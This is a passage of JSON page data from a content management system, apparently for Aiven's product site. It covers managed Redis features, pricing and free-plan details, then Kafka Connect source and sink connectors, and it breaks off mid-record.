center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-95b3da31f17e1e918613d63bb20db7b6a2b3f25f-1280x720-jpg","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":true,"rounded":false,"tagline":"Setup","text":[{"_key":"d04d9895f232","_type":"block","children":[{"_key":"752b224cf23e0","_type":"span","marks":[],"text":"Production-ready Redis clusters in 10 minutes"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6e5f65db71c0","_type":"block","children":[{"_key":"e4ba2462ed070","_type":"span","marks":[],"text":"Deploy to the cloud of your choice with 5 public clouds and 100+ regions supported"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"57ef900f2f22","_type":"block","children":[{"_key":"1bfd1c5ac20c0","_type":"span","marks":[],"text":"High performance clusters based on carefully selected instance types and storage options"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d9812a479f18","_type":"block","children":[{"_key":"34d0ec9048900","_type":"span","marks":["5c87d4279d3a"],"text":"Bring-your-own-cloud (BYOC) "},{"_key":"34d0ec9048901","_type":"span","marks":[],"text":"deployment model supported for strict control requirements"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5c87d4279d3a","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"title":"Flexible, fast and stress-free","variant":"mediaLeft"},{"_key":"94ae0fa9843a3d64142167018853142e","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-ffeee0d3dee814dfa905711ea0a7ded38ab68e0b-1280x720-jpg","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"tagline":"Connect","text":[{"_key":"fdcd18e5e3e3","_type":"block","children":[{"_key":"cebe9e375ffa","_type":"span","marks":[],"text":"Secure network connectivity using "},{"_key":"556e5db9b1da","_type":"span","marks":["85139808a6ef"],"text":"VPC peering"},{"_key":"2ead455af98a","_type":"span","marks":[],"text":", "},{"_key":"79f91cd1cc13","_type":"span","marks":["3e2bdec0341c"],"text":"PrivateLink"},{"_key":"6798f544664d","_type":"span","marks":[],"text":" or "},{"_key":"18f9fa636f26","_type":"span","marks":["ecf78a7796d0"],"text":"TransitGateway"},{"_key":"f12572922f96","_type":"span","marks":[],"text":" technologies"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"85139808a6ef","_type":"link","href":"https://docs.aiven.io/docs/platform/howto/manage-vpc-peering"},{"_key":"3e2bdec0341c","_type":"link","href":"https://docs.aiven.io/docs/tools/cli/service/privatelink"},{"_key":"ecf78a7796d0","_type":"link","href":"https://help.aiven.io/en/articles/3507710-attach-vpc-to-aws-transit-gateway"}],"style":"normal"},{"_key":"95f5efbd5992","_type":"block","children":[{"_key":"351f2672b522","_type":"span","marks":["018e7219a268"],"text":"Integrate"},{"_key":"3725eed2c52a","_type":"span","marks":[],"text":" with your favorite observability tooling — from Datadog to Prometheus, Jolokia, and more — or use "},{"_key":"41d832aca3c4","_type":"span","marks":["5d2a3320516b"],"text":"Aiven observability tools"},{"_key":"51d79a6471b9","_type":"span","marks":[],"text":" for enhanced monitoring and logging"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"018e7219a268","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}},{"_key":"5d2a3320516b","_type":"internalLink","internalLink":{"_ref":"4ffa575d-3214-4ed9-982c-6ee1b82bb5dd","_type":"reference"}}],"style":"normal"}],"title":"Integrate with your data infrastructure","variant":"mediaRight"},{"_key":"19c8f135482c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-af47dbea7ec112c1054e554062f912bf64ad6395-1280x720-jpg","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"tagline":"Control","text":[{"_key":"451b643ee594","_type":"block","children":[{"_key":"6750ab7710a30","_type":"span","marks":[],"text":"Manage your Redis cluster using Aiven Console (GUI), CLI or "},{"_key":"6750ab7710a31","_type":"span","marks":["18690176761e"],"text":"Terraform"},{"_key":"6750ab7710a32","_type":"span","marks":[],"text":" tools"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"18690176761e","_type":"link","href":"https://docs.aiven.io/docs/tools/terraform/get-started"}],"style":"normal"},{"_key":"b113fcd57cc4","_type":"block","children":[{"_key":"26e5ce3c8a3a0","_type":"span","marks":[],"text":"Scale, fork and upgrade with just a few clicks"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4750ba6d1f79","_type":"block","children":[{"_key":"b0b6e21aaf010","_type":"span","marks":[],"text":"Guaranteed compatibility with open source software"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5836e3c90b21","_type":"block","children":[{"_key":"43bb074d8fc60","_type":"span","marks":[],"text":"Migrate easily between clouds and regions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"DevOps-friendly management and development","variant":"mediaLeft"},{"_key":"7bff0ebf3f03cb580d82a70f2160a6ea","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-70657d34217a54eaf1d676189831fe7126658714-1280x720-jpg","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Enjoy","text":[{"_key":"b4536951b24a","_type":"block","children":[{"_key":"1b8ffdf481930","_type":"span","marks":[],"text":"Self-healing platform"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"be0e0c4916a5","_type":"block","children":[{"_key":"72420e4dea5d0","_type":"span","marks":[],"text":"Zero downtime during scaling, upgrading, and other management operations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8abaff0091e7","_type":"block","children":[{"_key":"411bc2e965150","_type":"span","marks":[],"text":"Automatic backups every 12 hours, depending on your plan"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"14afad19675e","_type":"block","children":[{"_key":"8f5be5a8acd40","_type":"span","marks":["ad498af7cb95"],"text":"Secure and compliant solution"},{"_key":"38c65f227bf1","_type":"span","marks":[],"text":" — ISO 27001:2013, SOC2, GDPR, HIPAA, and PCI/DSS"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ad498af7cb95","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"}}],"style":"normal"}],"title":"Reliable, secure and zero lock-in","variant":"mediaRight"},{"_key":"f87f714443e0","_type":"textColumn","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-cf42456a998b3003859e724ee166dc968d52fc4a-1440x367-svg","_type":"reference"}},"darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"title":"Spin up your first cluster now","variant":"centerColumn"},{"_key":"1705d247f2aec3897e833f4f8da85ffa","_type":"pricing","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"pricing","noSpaceBottom":false,"noSpaceTop":false,"rounded":true,"service":{"_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"reference"},"subtitle":[{"_key":"279c98a469fb","_type":"block","children":[{"_key":"ec0561ecb60f","_type":"span","marks":[],"text":"Starting at just $0 a month for the "},{"_key":"107537754e48","_type":"span","marks":["77935810cae0"],"text":"free Redis plan"},{"_key":"4d53cddf8fd3","_type":"span","marks":[],"text":", prices vary based on the number of nodes and your storage needs. Hourly billing saves you money. Change your plan anytime at no extra cost."}],"markDefs":[{"_key":"77935810cae0","_type":"link","href":"https://aiven.io/free-redis-database"}],"style":"normal"}],"tagline":"Pricing plans","title":"Scale up or down. Pay only for what you use.","variant":"single-service"},{"_key":"df9c7d29f1a7","_type":"cardList","addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","darkTheme":false,"disabled":true,"fullWidth":false,"headerPosition":"left","id":"pricing","items":[{"_key":"ffb8e7fedab3","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Start free Redis plan"},"subtitle":[{"_key":"3e8093ead98e","_type":"table","rows":[{"_key":"f8f26ac5-9295-4a70-9578-545109c68acb","_type":"tableRow","cells":["Feature"]},{"_key":"f049c85d-1d37-4d7d-bd59-5b9e5b95c8b2","_type":"tableRow","cells":["Dedicated VMs","1"]},{"_key":"3e533bb8-c9f2-4c30-8bf9-74ec2e74606f","_type":"tableRow","cells":["CPU per VM","2"]},{"_key":"427ec947-db2e-42a0-9f68-cc3c4639d729","_type":"tableRow","cells":["RAM per VM","1 GB"]},{"_key":"6eebaf56-2893-487e-9df7-8cf2a4f33afb","_type":"tableRow","cells":["Cloud","AWS with 9 regions all over the world"]},{"_key":"5926175f-e332-4f62-ab91-c1b1133ac80c","_type":"tableRow","cells":["All networking costs included","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"02d09f41-78fb-423e-a030-e53e291b6341","_type":"tableRow","cells":["Seamless upgrade to other plans","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"02df881d-baa9-4818-8aa9-5fb81178fc25","_type":"tableRow","cells":["One-click version upgrade","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"db7b150c-df13-4d60-a1f6-d268c7dcdf72","_type":"tableRow","cells":["Performance graphs","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"909a4257-2e25-4acc-b9a4-2649925b1064","_type":"tableRow","cells":["Data encrypted on disk and network","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"0f983ebe-dc35-4b04-9e67-34bdee082179","_type":"tableRow","cells":["Daily backups","3 days"]},{"_key":"5cc099a3-1b0f-4d85-87bf-6149c2fc9730","_type":"tableRow","cells":["Support","[Community support](https://aiven.io/community/forum/)"]}]}],"title":"Get started with a free plan","variant":"default"}],"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/pricing?product=redis","title":"Compare plans and pricing"},"rounded":true,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Start with a free plan"},"subtitle":[{"_key":"c8447ad423b3","_type":"block","children":[{"_key":"328a0011a3580","_type":"span","marks":[],"text":"Starting at just $0 a month, prices vary based on the number of nodes and your storage needs. Hourly billing saves you money. Change your plan anytime at no extra cost. Basic support is included in all the paid plans."}],"markDefs":[],"style":"normal"},{"_key":"e1bb25903a3d","_type":"block","children":[{"_key":"e5c22c2e1ea4","_type":"span","marks":[],"text":"All-inclusive pricing so you never get end-of-the-month surprises."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9967b5709108","_type":"block","children":[{"_key":"5331694b55d7","_type":"span","marks":[],"text":"No extra maintenance, networking, or storage fees. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"321b2ae51fa3","_type":"block","children":[{"_key":"726c2ce087f4","_type":"span","marks":[],"text":"Private networking (VPC), single-tenant, and high-availability multi-AZ available. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"56795499a0da","_type":"block","children":[{"_key":"80de97c99bbe","_type":"span","marks":[],"text":"Spin up clusters and regions when you need them, and shut them down when you don’t."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"tagline":"Pricing plans","title":"Scale up or down. Pay only for what you use."},{"_key":"1506e2957639","_type":"accordion","disabled":false,"fullWidth":true,"id":"faq","isFaqAccordion":true,"items":[{"_key":"39e5c9771dac","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3","_type":"reference"},{"_key":"68ca8879d46d","_ref":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec","_type":"reference"},{"_key":"4ba882bd7e39","_type":"accordionItem","id":"redis-free-plan","panelText":[{"_key":"9b784a247e6e","_type":"block","children":[{"_key":"01fb67962b150","_type":"span","marks":["80f9e2ba2416"],"text":"The free Redis plan"},{"_key":"9ca08585f998","_type":"span","marks":[],"text":" comes with the following specification:"}],"markDefs":[{"_key":"80f9e2ba2416","_type":"internalLink","internalLink":{"_ref":"a1d19d22-7a60-4f15-94a0-3b99a8abf4bc","_type":"reference"}}],"style":"normal"},{"_key":"91fca9243d3a","_type":"block","children":[{"_key":"ab1352e1fd3a0","_type":"span","marks":[],"text":"Single node"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ad4625ce24fc","_type":"block","children":[{"_key":"deb129e0c6d50","_type":"span","marks":[],"text":"1 CPU"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b1a8c9f681c5","_type":"block","children":[{"_key":"5758a6df8d5e0","_type":"span","marks":[],"text":"1GB RAM"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"94e10e0a4456","_type":"block","children":[{"_key":"46f8a3d057bb0","_type":"span","marks":[],"text":"Maxmemory set to 50%"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fc02aa3b3424","_type":"block","children":[{"_key":"c2d6b0727f610","_type":"span","marks":[],"text":"Easy management via our web console, CLI, API, Terraform provider, or Kubernetes operator"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a4f71d781476","_type":"block","children":[{"_key":"db6728fe1b710","_type":"span","marks":[],"text":"Out-of-the-box monitoring (metrics and logs)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f2d70721b4d4","_type":"block","children":[{"_key":"b0e389b32ab10","_type":"span","marks":[],"text":"Backups"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"977fbe6ed144","_type":"block","children":[{"_key":"669d0269342c0","_type":"span","marks":[],"text":"Community support"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c90e56270712","_type":"block","children":[{"_key":"ee3d568352280","_type":"span","marks":[],"text":"However, some Aiven platform functionality is not available:"}],"markDefs":[],"style":"normal"},{"_key":"53747e179fe4","_type":"block","children":[{"_key":"fece7ae626c30","_type":"span","marks":[],"text":"No VPC peering, service integrations, or forking"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1e2fd69cdd4d","_type":"block","children":[{"_key":"fe0ca1b9a4150","_type":"span","marks":[],"text":"Only community support"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"46d2c5b7b172","_type":"block","children":[{"_key":"7be1f7ca4f390","_type":"span","marks":[],"text":"No 99.99% SLA"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c38b60640801","_type":"block","children":[{"_key":"31b3008a2bcd0","_type":"span","marks":[],"text":"Only Digital Ocean"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"54bef1d04476","_type":"block","children":[{"_key":"3eeb652fea360","_type":"span","marks":[],"text":"Only one service per service type per user and organization"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"What’s included in the free Redis plan? "},{"_key":"541ec6428e8c","_ref":"e514e6cc-1088-4768-8a49-ea0e01ea7123","_type":"reference"}],"rounded":false,"title":"FAQ"},{"_key":"ca9978eb5c2d","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","disabled":false,"fullWidth":true,"id":"resources","items":[{"_key":"955ce9a0c473","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/redis","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-6e59ce95700f17f77378a0019ccae5bfb3aead41-991x527-jpg","_type":"reference"}},"subtitle":[{"_key":"50193800fa0c","_type":"block","children":[{"_key":"ec85f05004810","_type":"span","marks":[],"text":"Getting started with Aiven for Redis®, core concepts, how-to's, and more."}],"markDefs":[],"style":"normal"}],"tagline":"Aiven Docs","title":"Documentation","variant":"default"},{"_key":"edc9580525f7","_ref":"5n7mhiPowEK6X49UpoZSU4","_type":"reference"},{"_key":"2b308dc6e657","_ref":"Bn6QWyWT0ZxFmtWiDM23j","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Resources","title":"Learn how to use Aiven for Redis"}],"infoBanner":{"_ref":"cb289a02-f87f-4d97-917a-acc15dd7a1a6","_strengthenOnPublish":{"template":{"id":"infoBanner"},"type":"infoBanner"},"_type":"reference","_weak":true},"seo":{"_type":"metaData","metaDescription":"Aiven for Redis – Fully managed in-memory NoSQL database ✓ Deploy in the cloud your choice ✓ Simple integration ✓ Find out more!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-bd5d4566537e7e3da219039f7d31be58ee8eb732-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for Redis®\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"Managed Redis, Redis as a Service\",\n \"description\": \"Aiven for Redis is a fully-managed and hosted Redis solution that is offered globally in Google Cloud Platform, Amazon Web Services, Microsoft Azure, DigitalOcean, and UpCloud.\",\n \"featureList\": \"Terraform support, Datadog integration, Aiven service log integration, Aiven metrics integration, VPC peering, REST API, Command line tooling, High availability, Available in Google Cloud Platform, Available in Amazon Web Services, Available in Microsoft Azure, Available in DigitalOcean\",\n \"softwareHelp\": {\n \"url\": \"https://docs.aiven.io/redis\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"Open Source in-memory NoSQL database\",\n \"applicationSubCategory\": \"Memory cache, Message broker, Non-relational database\"\n}","metaTitle":"Managed Redis as a service | Aiven"},"service":{"_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"reference"},"slug":{"_type":"slug","current":"/redis"},"title":"Redis"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"10d7ccd9-cd4c-49ce-a2ea-b2a6fda2c784__i18n_ja","_type":"reference"}],"_createdAt":"2022-09-25T09:58:55Z","_id":"10d7ccd9-cd4c-49ce-a2ea-b2a6fda2c784","_rev":"nsxTqRv7yl9rbYA812dAlv","_type":"product","_updatedAt":"2025-01-15T15:43:41Z","content":[{"_key":"6b8133690b0a","_type":"hero","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for Apache Kafka® Connect","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform"}},"darkTheme":true,"description":[{"_key":"c2df600f8615","_type":"block","children":[{"_key":"ab0e6d29fe340","_type":"span","marks":[],"text":"Aiven for Apache Kafka® Connect allows you to separate your integration workloads from the Apache Kafka® cluster, resulting in more stable, scalable, and performant data flows."}],"markDefs":[],"style":"normal"}],"disabled":false,"formType":"trial","fullWidth":true,"heroHasForm":false,"hostProviders":[{"_key":"adf44e41842d","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"e57e2d573bda","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"64afe16fd0c2","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"70bf5b20c39d","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"},{"_key":"52cf963ec729","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"}],"image":{"_type":"mainImage","asset":{"_ref":"image-8739a2081c603657773ab665488a591f83164d28-1600x1137-png","_type":"reference"}},"imageSize":"default","primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/kafka/kafka-connect","title":"See docs"},"tagline":"Managed and hosted","tertiaryCTA":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/kafka-connect","title":"See docs"},"title":"Aiven for Apache Kafka® Connect","variant":"default"},{"_key":"250a85c0996b","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"ac514415c565","_type":"scrollSpyNavItem","sectionId":"works","title":"How it works"},{"_key":"9e1ccda38e47","_type":"scrollSpyNavItem","sectionId":"connectors","title":"Connectors"},{"_key":"cc41b8c9261d","_type":"scrollSpyNavItem","sectionId":"pricing","title":"Pricing"},{"_key":"7221bb930154","_type":"scrollSpyNavItem","sectionId":"toolbox","title":"Kafka toolbox"},{"_key":"1345b1d01917","_type":"scrollSpyNavItem","sectionId":"resources","title":"Resources"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-685613765c01f84c2db04678b0d4629ede9947ad-64x64-svg","_type":"reference"}},"logoLink":{"_type":"link","internalLink":{"_ref":"10d7ccd9-cd4c-49ce-a2ea-b2a6fda2c784","_type":"reference"},"title":"Aiven for Apache Kafka® Connect"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"title":"Scrollspy"},{"_key":"30a4491b2dcb","_type":"serviceDiagram","disabled":false,"fullWidth":false,"id":"works","rounded":false,"steps":[{"_key":"55a9b28ef757","_type":"textItem","content":[{"_key":"eed57511ba1c","_type":"block","children":[{"_key":"4aec9c504cfb0","_type":"span","marks":[],"text":"Integrate your existing data sources with Aiven for Apache Kafka Connect"}],"markDefs":[],"style":"h3"},{"_key":"ef9772cb3f55","_type":"block","children":[{"_key":"17e1e38c1753","_type":"span","marks":[],"text":"A fully managed distributed Apache Kafka component that lets you easily and efficiently integrate your existing data sources with 30+ managed connectors."}],"markDefs":[],"style":"normal"},{"_key":"73c3c0fa9d61","_type":"block","children":[{"_key":"a26368563d410","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"b57a733d0460","_type":"block","children":[{"_key":"7a4118b7d75e0","_type":"span","marks":["b26395e6405b"],"text":"Get started with Aiven for Apache Kafka Connect (docs)"}],"markDefs":[{"_key":"b26395e6405b","_type":"link","href":"https://aiven.io/docs/products/kafka/kafka-connect/get-started"}],"style":"normal"},{"_key":"b0015d3f6a45","_type":"block","children":[{"_key":"7a4118b7d75e2","_type":"span","marks":["291f6d217637"],"text":"See the list of available connectors (docs)"}],"markDefs":[{"_key":"291f6d217637","_type":"link","href":"https://aiven.io/docs/products/kafka/kafka-connect"}],"style":"normal"},{"_key":"d5505e054899","_type":"block","children":[{"_key":"47114462fec70","_type":"span","marks":["8a873c4bd7fa"],"text":"What is Karapace? (blog)"}],"markDefs":[{"_key":"8a873c4bd7fa","_type":"internalLink","internalLink":{"_ref":"4kZePZcGxjPJAFk0KUyhp2","_type":"reference"}}],"style":"normal"},{"_key":"7a401e051a81","_type":"block","children":[{"_key":"c4bcd7ad83b30","_type":"span","marks":["b8fc6c4c86a6"],"text":"All integrations for Aiven services (web page)"}],"markDefs":[{"_key":"b8fc6c4c86a6","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}}],"style":"normal"}]}],"subtitle":[{"_key":"d37387505b90","_type":"block","children":[{"_key":"44f99037f9d40","_type":"span","marks":[],"text":"Extend your Aiven for Apache Kafka with a fully managed Kafka Connect cluster in 2 minutes — directly from our web console or programmatically via our API, CLI, Terraform provider or Kubernetes operator."}],"markDefs":[],"style":"normal"}],"tagline":"How it works","title":"What is Aiven for Apache Kafka® Connect?","variant":"kafka-connect"},{"_key":"6ab18143f52e","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"id":"connectors","items":[{"_key":"6743046e587f","_type":"cardItem","borderTopColor":{"_ref":"21e657b8-5980-4a85-87f8-595301495bef","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-27995708e6bffa0de4a88052aaa889f48495c396-58x58-svg","_type":"reference"}},"title":"Debezium source connector for PostgreSQL","variant":"icon-card"},{"_key":"2450150d1649","_type":"cardItem","borderTopColor":{"_ref":"37baf5a8-eb1c-419f-a157-dc0d3a3f1a03","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/mongodb-poll-source-connector","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-fe1569bcba10665f27187fe097ce332ff31e42a2-65x64-svg","_type":"reference"}},"title":"MongoDB source connector","variant":"icon-card"},{"_key":"04c74c6f0604d844c4ab12bc27729561","_type":"cardItem","borderTopColor":{"_ref":"42d6ef84-a6de-43a3-95de-e1610f065ed0","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/jdbc-source-connector-pg","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-b5cd9b82ffa9183732b96bf095fabc3edc7e7bc3-48x48-svg","_type":"reference"}},"title":"JDBC source connector","variant":"icon-card"},{"_key":"f008d4d24991fe9945c02dedb1753ba7","_type":"cardItem","borderTopColor":{"_ref":"6c9703f3-6248-4f27-8400-291d66a3cc5e","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/cassandra-streamreactor-source","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-9b28317a07c8fcaf77ac447ab60252e031bdeae6-64x64-svg","_type":"reference"}},"title":"Cassandra source connector","variant":"icon-card"}],"rounded":false,"subtitle":[{"_key":"11d2cece7a38","_type":"block","children":[{"_key":"4005be09fa710","_type":"span","marks":[],"text":"Aiven’s documentation makes your connector configuration easy. "},{"_key":"419a4bc8d357","_type":"span","marks":["e38a690fa9ff"],"text":"Check out the full list of Aiven for Apache Kafka® connectors."}],"markDefs":[{"_key":"e38a690fa9ff","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins"}],"style":"normal"},{"_key":"b9fa70a5964f","_type":"block","children":[{"_key":"48075c61f0030","_type":"span","marks":[],"text":"Source Connectors"}],"markDefs":[],"style":"h3"},{"_key":"cb8adb72780f","_type":"block","children":[{"_key":"6bd3db0751340","_type":"span","marks":[],"text":"Pull the data from your databases and messaging systems."}],"markDefs":[],"style":"normal"}],"title":"30+ managed connectors help you connect to your data sources"},{"_key":"933dce0b4a0ff1172679870c65709f3f","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"items":[{"_key":"6743046e587f","_type":"cardItem","borderTopColor":{"_ref":"15d1a407-85a4-498f-af4e-bcfcb2693707","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/opensearch-sink","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-24f8bc050ae61d964c383f4509c62c6cb865d6ef-64x64-svg","_type":"reference"}},"title":"OpenSearch sink connector","variant":"icon-card"},{"_key":"2450150d1649","_type":"cardItem","borderTopColor":{"_ref":"702fd555-d5be-4c9a-907b-4a9e8e5f4a89","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/s3-sink-connector-confluent","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-eb38710ac4196b58734ae1cca36ab78d39b7aa16-58x58-svg","_type":"reference"}},"title":"Amazon S3 sink connector","variant":"icon-card"},{"_key":"04c74c6f0604d844c4ab12bc27729561","_type":"cardItem","borderTopColor":{"_ref":"15d1a407-85a4-498f-af4e-bcfcb2693707","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/snowflake-sink","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-d976eb7042070bfa6e3927a017ea04215c36b1e3-48x48-svg","_type":"reference"}},"title":"Snowflake sink connector","variant":"icon-card"},{"_key":"f008d4d24991fe9945c02dedb1753ba7","_type":"cardItem","borderTopColor":{"_ref":"6c9703f3-6248-4f27-8400-291d66a3cc5e","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/gcp-bigquery-sink","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-71ab0a34ea1f6bba1f83d889e476b63ed34b61f4-48x48-svg","_type":"reference"}},"title":"BigQuery sink connector","variant":"icon-card"}],"noSpaceTop":true,"rounded":false,"subtitle":[{"_key":"4b58d805e4cf","_type":"block","children":[{"_key":"7bd63145af800","_type":"span","marks":[],"text":"Sink Connectors"}],"markDefs":[],"style":"h3"},{"_key":"cb8adb72780f","_type":"block","children":[{"_key":"6bd3db0751340","_type":"span","marks":[],"text":"Send 